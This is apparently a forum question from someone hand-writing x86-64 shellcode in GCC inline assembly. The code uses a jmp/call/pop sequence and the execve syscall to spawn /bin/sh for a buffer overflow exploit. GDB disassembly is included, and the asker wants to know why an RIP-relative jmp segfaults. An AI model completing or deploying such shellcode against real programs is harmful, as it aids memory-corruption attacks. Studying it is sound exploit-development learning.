I'm working on writing an exploit to spawn a shell from scratch. (i.e. to be used in a buffer overflow). One of the problems I'm facing is getting the jmp statements to work. My understanding is that the jmp instruction is relative to the ip. However when I try to run the following in inline assembly I get a jump to an absolute address.
jmp 0x28 #in inline GCC will jump to address 0x28 not 0x28 relative to the ip
One way I've gotten around this is to use the IP as part of the instruction like so:
jmp *0x28(%rip) #will jump to address 0x28 relative to the ip
However when I do this I get a segmentation fault on jmp
The entire assembly code is below:
void main() {
__asm__(
"jmp *0x28(%rip) \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
The disassembled output from GDB is:
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmpq *0x28(%rip) # 0x4004de <main+50>
0x00000000004004b6 <+10>: pop %rax
0x00000000004004b7 <+11>: movw $0x0,(%rax)
0x00000000004004bc <+16>: mov %rax,0x8(%rax)
0x00000000004004c0 <+20>: movq $0x0,0x10(%rax)
0x00000000004004c8 <+28>: mov $0x0,%edx
0x00000000004004cd <+33>: mov %rax,%rsi
0x00000000004004d0 <+36>: add $0x8,%rsi
0x00000000004004d4 <+40>: mov %rax,%rdi
0x00000000004004d7 <+43>: mov $0x3b,%eax
0x00000000004004dc <+48>: syscall
0x00000000004004de <+50>: callq *-0x2e(%rip) # 0x4004b6 <main+10>
0x00000000004004e4 <+56>: (bad)
0x00000000004004e5 <+57>: (bad)
0x00000000004004e6 <+58>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004ed <+65>: retq
End of assembler dump.
I get a segfault on the first instruction jmp *0x28(%rip)
despite the fact that GDB says it's going to go to the correct address.
What's interesting is that if I place a label before call *-0x2e(%rip)
and jmp to that it works. The address will be absolute and the segmentation fault at jmp will not be produced.
C code using label:
void main() {
__asm__(
"jmp my_hack \n"
"popq %rax \n"
"movw $0x0, 0x0(%rax) #add null termination \n"
"movq %rax,0x8(%rax) #set up argv in memory \n"
"movq $0, 0x10(%rax) \n"
"mov $0x0, %edx #set up arg 3 \n"
"mov %rax, %rsi \n"
"add $0x8, %rsi \n"
"mov %rax,%rdi \n"
"mov $0x3b,%eax \n"
"syscall \n"
"my_hack: \n"
"call *-0x2e(%rip) \n"
".string \"/bin/sh\""
);
}
Resulting disassembly
Dump of assembler code for function main:
0x00000000004004ac <+0>: push %rbp
0x00000000004004ad <+1>: mov %rsp,%rbp
0x00000000004004b0 <+4>: jmp 0x4004da <main+46>
0x00000000004004b2 <+6>: pop %rax
0x00000000004004b3 <+7>: movw $0x0,(%rax)
0x00000000004004b8 <+12>: mov %rax,0x8(%rax)
0x00000000004004bc <+16>: movq $0x0,0x10(%rax)
0x00000000004004c4 <+24>: mov $0x0,%edx
0x00000000004004c9 <+29>: mov %rax,%rsi
0x00000000004004cc <+32>: add $0x8,%rsi
0x00000000004004d0 <+36>: mov %rax,%rdi
0x00000000004004d3 <+39>: mov $0x3b,%eax
0x00000000004004d8 <+44>: syscall
0x00000000004004da <+46>: callq *-0x2e(%rip) # 0x4004b2 <main+6>
0x00000000004004e0 <+52>: (bad)
0x00000000004004e1 <+53>: (bad)
0x00000000004004e2 <+54>: imul $0x5d006873,0x2f(%rsi),%ebp
0x00000000004004e9 <+61>: retq
End of assembler dump.
The jump using the label in the above disassemble will not produce an segmentation fault. The call that's executed at 0x00000000004004da
will.
Can somebody explain why using the rip in jmp causes the segmentation fault?
How can a relative jump/call be done with GCC inline assembly? I don't know how to check the assembler however I'm pretty sure I'm using GAS (on their wiki it says it's the default GCC assembler). There have been suggestions in related questions to use syntax such as jmp .+0x28
however this will result in being an absolute jump and not a relative jump to the pc.